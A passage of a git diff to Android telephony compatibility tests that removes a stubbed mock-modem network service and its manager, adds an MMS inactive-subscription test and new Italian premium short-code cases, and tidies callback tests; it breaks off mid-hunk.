- new android.hardware.radio.network.CellInfo[0];
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getCellInfoListResponse(rsp, cellInfo);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getCellInfoList from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getDataRegistrationState(int serial) {
- Log.d(TAG, "getDataRegistrationState");
-
- android.hardware.radio.network.RegStateResult dataRegResponse =
- new android.hardware.radio.network.RegStateResult();
- dataRegResponse.accessTechnologySpecificInfo =
- android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
- dataRegResponse.cellIdentity = android.hardware.radio.network.CellIdentity.noinit(true);
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial);
- try {
- mRadioNetworkResponse.getDataRegistrationStateResponse(rsp, dataRegResponse);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getRadioCapability from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getImsRegistrationState(int serial) {
- Log.d(TAG, "getImsRegistrationState");
- boolean isRegistered = false;
- int ratFamily = 0;
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getImsRegistrationStateResponse(rsp, isRegistered, ratFamily);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getImsRegistrationState from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getNetworkSelectionMode(int serial) {
- Log.d(TAG, "getNetworkSelectionMode");
- boolean manual = false;
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getNetworkSelectionModeResponse(rsp, manual);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getNetworkSelectionMode from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getOperator(int serial) {
- Log.d(TAG, "getOperator");
-
- String longName = "";
- String shortName = "";
- String numeric = "";
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getOperatorResponse(rsp, longName, shortName, numeric);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getOperator from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getSignalStrength(int serial) {
- Log.d(TAG, "getSignalStrength");
-
- android.hardware.radio.network.SignalStrength signalStrength =
- new android.hardware.radio.network.SignalStrength();
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getSignalStrengthResponse(rsp, signalStrength);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getSignalStrength from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getSystemSelectionChannels(int serial) {
- Log.d(TAG, "getSystemSelectionChannels");
-
- android.hardware.radio.network.RadioAccessSpecifier[] specifiers =
- new android.hardware.radio.network.RadioAccessSpecifier[0];
- RadioResponseInfo rsp = mService.makeSolRsp(serial);
- try {
- mRadioNetworkResponse.getSystemSelectionChannelsResponse(rsp, specifiers);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getSystemSelectionChannels from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getVoiceRadioTechnology(int serial) {
- Log.d(TAG, "getVoiceRadioTechnology");
- int rat = 0;
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getVoiceRadioTechnologyResponse(rsp, rat);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getVoiceRadioTechnology from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getVoiceRegistrationState(int serial) {
- Log.d(TAG, "getVoiceRegistrationState");
-
- android.hardware.radio.network.RegStateResult voiceRegResponse =
- new android.hardware.radio.network.RegStateResult();
- voiceRegResponse.accessTechnologySpecificInfo =
- android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
- voiceRegResponse.cellIdentity = android.hardware.radio.network.CellIdentity.noinit(true);
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial);
- try {
- mRadioNetworkResponse.getVoiceRegistrationStateResponse(rsp, voiceRegResponse);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getVoiceRegistrationState from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void isNrDualConnectivityEnabled(int serial) {
- Log.d(TAG, "isNrDualConnectivityEnabled");
- boolean isEnabled = false;
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.isNrDualConnectivityEnabledResponse(rsp, isEnabled);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to isNrDualConnectivityEnabled from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void responseAcknowledgement() {
- Log.d(TAG, "responseAcknowledgement");
- }
-
- @Override
- public void setAllowedNetworkTypesBitmap(int serial, int networkTypeBitmap) {
- Log.d(TAG, "setAllowedNetworkTypesBitmap");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setAllowedNetworkTypesBitmapResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setBandMode(int serial, int mode) {
- Log.d(TAG, "setBandMode");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setBandModeResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setBandMode from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setBarringPassword(
- int serial, String facility, String oldPassword, String newPassword) {
- Log.d(TAG, "setBarringPassword");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setBarringPasswordResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setBarringPassword from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setCdmaRoamingPreference(int serial, int type) {
- Log.d(TAG, "setCdmaRoamingPreference");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setCdmaRoamingPreferenceResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setCdmaRoamingPreference from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setCellInfoListRate(int serial, int rate) {
- Log.d(TAG, "setCellInfoListRate");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setCellInfoListRateResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setCellInfoListRate from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setIndicationFilter(int serial, int indicationFilter) {
- Log.d(TAG, "setIndicationFilter");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setIndicationFilterResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setIndicationFilter from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setLinkCapacityReportingCriteria(
- int serial,
- int hysteresisMs,
- int hysteresisDlKbps,
- int hysteresisUlKbps,
- int[] thresholdsDownlinkKbps,
- int[] thresholdsUplinkKbps,
- int accessNetwork) {
- Log.d(TAG, "setLinkCapacityReportingCriteria");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setLinkCapacityReportingCriteriaResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setLinkCapacityReportingCriteria from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setLocationUpdates(int serial, boolean enable) {
- Log.d(TAG, "setLocationUpdates");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setLocationUpdatesResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setLocationUpdates from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setNetworkSelectionModeAutomatic(int serial) {
- Log.d(TAG, "setNetworkSelectionModeAutomatic");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setNetworkSelectionModeAutomaticResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setNetworkSelectionModeAutomatic from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setNetworkSelectionModeManual(int serial, String operatorNumeric, int ran) {
- Log.d(TAG, "setNetworkSelectionModeManual");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setNetworkSelectionModeManualResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setNetworkSelectionModeManual from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setNrDualConnectivityState(int serial, byte nrDualConnectivityState) {
- Log.d(TAG, "setNrDualConnectivityState");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setNrDualConnectivityStateResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setNrDualConnectivityState from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setResponseFunctions(
- IRadioNetworkResponse radioNetworkResponse,
- IRadioNetworkIndication radioNetworkIndication) {
- Log.d(TAG, "setResponseFunctions");
- mRadioNetworkResponse = radioNetworkResponse;
- mRadioNetworkIndication = radioNetworkIndication;
- mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
- }
-
- @Override
- public void setSignalStrengthReportingCriteria(
- int serial, SignalThresholdInfo[] signalThresholdInfos) {
- Log.d(TAG, "setSignalStrengthReportingCriteria");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setSignalStrengthReportingCriteriaResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setSignalStrengthReportingCriteria from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setSuppServiceNotifications(int serial, boolean enable) {
- Log.d(TAG, "setSuppServiceNotifications");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setSuppServiceNotificationsResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setSuppServiceNotifications from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setSystemSelectionChannels(
- int serial, boolean specifyChannels, RadioAccessSpecifier[] specifiers) {
- Log.d(TAG, "setSystemSelectionChannels");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setSystemSelectionChannelsResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setSystemSelectionChannels from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void startNetworkScan(int serial, NetworkScanRequest request) {
- Log.d(TAG, "startNetworkScan");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.startNetworkScanResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to startNetworkScan from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void stopNetworkScan(int serial) {
- Log.d(TAG, "stopNetworkScan");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.stopNetworkScanResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to stopNetworkScan from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void supplyNetworkDepersonalization(int serial, String netPin) {
- Log.d(TAG, "supplyNetworkDepersonalization");
- int remainingRetries = 0;
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.supplyNetworkDepersonalizationResponse(rsp, remainingRetries);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to supplyNetworkDepersonalization from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void setUsageSetting(int serial, int usageSetting) {
- Log.d(TAG, "setUsageSetting");
- int remainingRetries = 0;
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.setUsageSettingResponse(rsp);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to setUsageSetting from AIDL. Exception" + ex);
- }
- }
-
- @Override
- public void getUsageSetting(int serial) {
- Log.d(TAG, "getUsageSetting");
-
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
- try {
- mRadioNetworkResponse.getUsageSettingResponse(rsp, -1 /* Invalid value */);
- } catch (RemoteException ex) {
- Log.e(TAG, "Failed to getUsageSetting from AIDL. Exception" + ex);
- }
- }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 57b5a84..dfcaf2c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -100,11 +100,13 @@
private final Object mLock;
private boolean mSuccess;
private boolean mDone;
+ private int mExpectedErrorResultCode;
- public SentReceiver() {
+ SentReceiver(int expectedErrorResultCode) {
mLock = new Object();
mSuccess = false;
mDone = false;
+ mExpectedErrorResultCode = expectedErrorResultCode;
}
@Override
@@ -135,6 +137,9 @@
}
} else {
Log.e(TAG, "Failure result=" + resultCode);
+ if (resultCode == mExpectedErrorResultCode) {
+ mSuccess = true;
+ }
if (resultCode == SmsManager.MMS_ERROR_HTTP_FAILURE) {
final int httpError = intent.getIntExtra(SmsManager.EXTRA_MMS_HTTP_STATUS, 0);
Log.e(TAG, "HTTP failure=" + httpError);
@@ -161,7 +166,6 @@
Log.i(TAG, "Wait for sent: done=" + mDone + ", success=" + mSuccess);
return mDone && mSuccess;
}
-
}
}
@@ -175,15 +179,23 @@
@Test
public void testSendMmsMessage() {
- sendMmsMessage(0L /* messageId */);
+ sendMmsMessage(0L /* messageId */, Activity.RESULT_OK, SmsManager.getDefault());
+ }
+
+ @Test
+ public void testSendMmsMessageWithInactiveSubscriptionId() {
+ int inactiveSubId = 127;
+ sendMmsMessage(0L /* messageId */, SmsManager.MMS_ERROR_INACTIVE_SUBSCRIPTION,
+ SmsManager.getSmsManagerForSubscriptionId(inactiveSubId));
}
@Test
public void testSendMmsMessageWithMessageId() {
- sendMmsMessage(MESSAGE_ID);
+ sendMmsMessage(MESSAGE_ID, Activity.RESULT_OK, SmsManager.getDefault());
}
- private void sendMmsMessage(long messageId) {
+ private void sendMmsMessage(long messageId, int expectedErrorResultCode,
+ SmsManager smsManager) {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
|| !doesSupportMMS()) {
Log.i(TAG, "testSendMmsMessage skipped: no telephony available or MMS not supported");
@@ -194,7 +206,7 @@
final Context context = getContext();
// Register sent receiver
- mSentReceiver = new SentReceiver();
+ mSentReceiver = new SentReceiver(expectedErrorResultCode);
context.registerReceiver(mSentReceiver, new IntentFilter(ACTION_MMS_SENT));
// Create local provider file for sending PDU
final String fileName = "send." + String.valueOf(Math.abs(mRandom.nextLong())) + ".dat";
@@ -213,14 +225,15 @@
final PendingIntent pendingIntent = PendingIntent.getBroadcast(
context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE);
if (messageId == 0L) {
- SmsManager.getDefault().sendMultimediaMessage(context,
+ smsManager.sendMultimediaMessage(context,
contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
} else {
- SmsManager.getDefault().sendMultimediaMessage(context,
+ smsManager.sendMultimediaMessage(context,
contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent,
messageId);
}
assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
+ assertTrue(mSentReceiver.getResultCode() == expectedErrorResultCode);
sendFile.delete();
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemManager.java b/tests/tests/telephony/current/src/android/telephony/cts/MockModemManager.java
deleted file mode 100644
index 38e36dd..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemManager.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
-
-import android.content.Context;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.TimeUnit;
-
-public class MockModemManager {
- private static final String TAG = "MockModemManager";
-
- private static Context sContext;
- private static MockModemServiceConnector sServiceConnector;
- private MockModemService mMockModemService;
-
- public MockModemManager() {
- sContext = InstrumentationRegistry.getInstrumentation().getContext();
- }
-
- private void waitForTelephonyFrameworkDone(int delayInSec) throws Exception {
- TimeUnit.SECONDS.sleep(delayInSec);
- }
-
- /* Public APIs */
-
- /**
- * Bring up Mock Modem Service and connect to it.
- *
- * @return boolean true if the operation is successful, otherwise false.
- */
- public boolean connectMockModemService() throws Exception {
- return connectMockModemService(MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT);
- }
- /**
- * Bring up Mock Modem Service and connect to it.
- *
- * @pararm simprofile for initial Sim profile
- * @return boolean true if the operation is successful, otherwise false.
- */
- public boolean connectMockModemService(int simprofile) throws Exception {
- boolean result = false;
-
- if (sServiceConnector == null) {
- sServiceConnector =
- new MockModemServiceConnector(InstrumentationRegistry.getInstrumentation());
- }
-
- if (sServiceConnector != null) {
- // TODO: support DSDS
- result = sServiceConnector.connectMockModemService(simprofile);
-
- if (result) {
- mMockModemService = sServiceConnector.getMockModemService();
-
- if (mMockModemService != null) {
- /*
- It needs to have a delay to wait for Telephony Framework to bind with
- MockModemService and set radio power as a desired state for initial condition
- even get SIM card state. Currently, 1 sec is enough for now.
- */
- waitForTelephonyFrameworkDone(1);
- } else {
- Log.e(TAG, "MockModemService get failed!");
- result = false;
- }
- }
- } else {
- Log.e(TAG, "Create MockModemServiceConnector failed!");
- }
-
- return result;
- }
-
- /**
- * Disconnect from Mock Modem Service.
- *
- * @return boolean true if the operation is successful, otherwise false.
- */
- public boolean disconnectMockModemService() throws Exception {
- boolean result = false;
-
- if (sServiceConnector != null) {
- result = sServiceConnector.disconnectMockModemService();
-
- if (result) {
- mMockModemService = null;
- } else {
- Log.e(TAG, "MockModemService disconnected failed!");
- }
- } else {
- Log.e(TAG, "No MockModemServiceConnector exist!");
- }
-
- return result;
- }
-
- /**
- * Query whether an active SIM card is present on this sub or not.
- *
- * @param subId which sub would be checked.
- * @return boolean true if any sim card inserted, otherwise false.
- */
- public boolean isSimCardPresent(int subId) throws Exception {
- Log.d(TAG, "isSimCardPresent[" + subId + "]");
-
- MockModemConfigInterface[] configInterfaces =
- mMockModemService.getMockModemConfigInterfaces();
- return configInterfaces[subId].isSimCardPresent(TAG);
- }
-
- /**
- * Insert a SIM card.
- *
- * @param subId which sub would insert.
- * @param simProfileId which carrier sim card is inserted.
- * @return boolean true if the operation is successful, otherwise false.
- */
- public boolean insertSimCard(int subId, int simProfileId) throws Exception {
- Log.d(TAG, "insertSimCard[" + subId + "] with profile Id(" + simProfileId + ")");
- boolean result = true;
-
- if (!isSimCardPresent(subId)) {
- MockModemConfigInterface[] configInterfaces =
- mMockModemService.getMockModemConfigInterfaces();
- configInterfaces[subId].changeSimProfile(simProfileId, TAG);
- waitForTelephonyFrameworkDone(1);
- } else {
- Log.d(TAG, "There is a SIM inserted. Need to remove first.");
- result = false;
- }
- return result;
- }
-
- /**
- * Remove a SIM card.
- *
- * @param subId which sub would remove the SIM.
- * @return boolean true if the operation is successful, otherwise false.
- */
- public boolean removeSimCard(int subId) throws Exception {
- Log.d(TAG, "removeSimCard[" + subId + "]");
- boolean result = true;
-
- if (isSimCardPresent(subId)) {
- MockModemConfigInterface[] configInterfaces =
- mMockModemService.getMockModemConfigInterfaces();
- configInterfaces[subId].changeSimProfile(
- MockSimService.MOCK_SIM_PROFILE_ID_DEFAULT, TAG);
- waitForTelephonyFrameworkDone(1);
- } else {
- Log.d(TAG, "There is no SIM inserted.");
- result = false;
- }
- return result;
- }
-
- /**
- * Force the response error return for a specific RIL request
- *
- * @param subId which sub needs to be set.
- * @param requestId the request/response message ID
- * @param error RIL_Errno and -1 means to disable the modified mechanism, back to original mock
- * modem behavior
- * @return boolean true if the operation is successful, otherwise false.
- */
- public boolean forceErrorResponse(int subId, int requestId, int error) throws Exception {
- Log.d(
- TAG,
- "forceErrorResponse[" + subId + "] for request:" + requestId + " ,error:" + error);
- boolean result = true;
-
- // TODO: support DSDS
- switch (requestId) {
- case RIL_REQUEST_RADIO_POWER:
- mMockModemService.getIRadioModem().forceErrorResponse(requestId, error);
- break;
- default:
- Log.e(TAG, "request:" + requestId + " not support to change the response error");
- result = false;
- break;
- }
- return result;
- }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
index a11cd28..15d0635 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -18,6 +18,7 @@
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
import android.telephony.AccessNetworkConstants;
import android.telephony.PhysicalChannelConfig;
@@ -27,7 +28,6 @@
import org.junit.Before;
import org.junit.Test;
-
public class PhysicalChannelConfigTest {
private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
@@ -66,20 +66,21 @@
@Test
public void testInvalidPhysicalChannelConfig() {
- mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
- .setNetworkType(NETWORK_TYPE_LTE)
- .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
- .setCellConnectionStatus(CONNECTION_STATUS)
- .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
- .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
- .setContextIds(CONTEXT_IDS)
- .setFrequencyRange(FREQUENCY_RANGE)
- .setDownlinkChannelNumber(CHANNEL_NUMBER)
- .setUplinkChannelNumber(CHANNEL_NUMBER)
- .setBand(BAND)
- .build();
- assertThat(PHYSICAL_INVALID_CELL_ID)
- .isNotEqualTo(mPhysicalChannelConfig.getPhysicalCellId());
+ try {
+ mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+ .setNetworkType(NETWORK_TYPE_LTE)
+ .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
+ .setCellConnectionStatus(CONNECTION_STATUS)
+ .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+ .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+ .setContextIds(CONTEXT_IDS)
+ .setFrequencyRange(FREQUENCY_RANGE)
+ .setDownlinkChannelNumber(CHANNEL_NUMBER)
+ .setUplinkChannelNumber(CHANNEL_NUMBER)
+ .setBand(BAND)
+ .build();
+ fail("Physical cell Id: 1008 is over limit");
+ } catch (IllegalArgumentException expected) { }
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
index 4113ae5..e0df06e 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
@@ -291,8 +291,19 @@
new ShortCodeTest("it", "116117", SMS_CATEGORY_FREE_SHORT_CODE),
new ShortCodeTest("it", "4567", SMS_CATEGORY_NOT_SHORT_CODE),
new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
- new ShortCodeTest("it", "45678", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "45678", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
new ShortCodeTest("it", "56789", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "44000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "47000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "48000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "4450000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "4750000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "4850000", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "44500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "47500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "48500", SMS_CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "45500", SMS_CATEGORY_PREMIUM_SHORT_CODE),
+ new ShortCodeTest("it", "49900", SMS_CATEGORY_PREMIUM_SHORT_CODE),
new ShortCodeTest("it", "456789", SMS_CATEGORY_NOT_SHORT_CODE),
new ShortCodeTest("kg", "112", SMS_CATEGORY_NOT_SHORT_CODE),
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
index 482cd92..a2de857 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
@@ -55,6 +55,7 @@
import android.telephony.ims.ImsReasonInfo;
import android.text.TextUtils;
import android.util.Log;
+import android.util.Pair;
import androidx.test.InstrumentationRegistry;
@@ -113,7 +114,7 @@
private SignalStrength mSignalStrength;
private TelephonyManager mTelephonyManager;
private final Object mLock = new Object();
- private static final String TAG = "android.telephony.cts.TelephonyCallbackTest";
+ private static final String TAG = "TelephonyCallbackTest";
private static ConnectivityManager mCm;
private HandlerThread mHandlerThread;
private Handler mHandler;
@@ -138,12 +139,7 @@
PreciseCallState.PRECISE_CALL_STATE_WAITING
);
- private Executor mSimpleExecutor = new Executor() {
- @Override
- public void execute(Runnable r) {
- r.run();
- }
- };
+ private final Executor mSimpleExecutor = Runnable::run;
@Before
public void setUp() throws Exception {
@@ -611,7 +607,7 @@
}
@Test
- public void testOSrvccStateChangedByRegisterTelephonyCallback() throws Throwable {
+ public void testOnSrvccStateChangedByRegisterTelephonyCallback() throws Throwable {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
return;
@@ -628,7 +624,7 @@
mLock.wait(WAIT_TIME);
}
}
- Log.d(TAG, "testOSrvccStateChangedByRegisterTelephonyCallback");
+ Log.d(TAG, "testOnSrvccStateChangedByRegisterTelephonyCallback");
assertThat(mSrvccStateChangedCalled).isTrue();
@@ -1357,8 +1353,7 @@
private class PhysicalChannelConfigListener extends TelephonyCallback
implements TelephonyCallback.PhysicalChannelConfigListener {
@Override
- public void onPhysicalChannelConfigChanged(
- @NonNull List<PhysicalChannelConfig> configs) {
+ public void onPhysicalChannelConfigChanged(@NonNull List<PhysicalChannelConfig> configs) {
synchronized (mLock) {
mOnPhysicalChannelConfigCalled = true;
mLock.notify();
@@ -1373,10 +1368,25 @@
return;
}
+ Pair<Integer, Integer> radioVersion = mTelephonyManager.getRadioHalVersion();
+ // 1.2+ or 1.6 with CAPABILITY_PHYSICAL_CHANNEL_CONFIG_1_6_SUPPORTED or 2.0+
+ boolean physicalChannelConfigSupported;
+ if (radioVersion.first == 1 && radioVersion.second == 6) {
+ physicalChannelConfigSupported = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
+ TelephonyManager.CAPABILITY_PHYSICAL_CHANNEL_CONFIG_1_6_SUPPORTED));
+ } else {
+ physicalChannelConfigSupported =
+ radioVersion.first > 1 || radioVersion.second >= 2;
+ }
+ if (!physicalChannelConfigSupported) {
+ Log.d(TAG, "Skipping test because physical channel configs are not available.");
+ return;
+ }
+
assertFalse(mOnPhysicalChannelConfigCalled);
mHandler.post(() -> {
- mPhysicalChannelConfigCallback =
- new PhysicalChannelConfigListener();
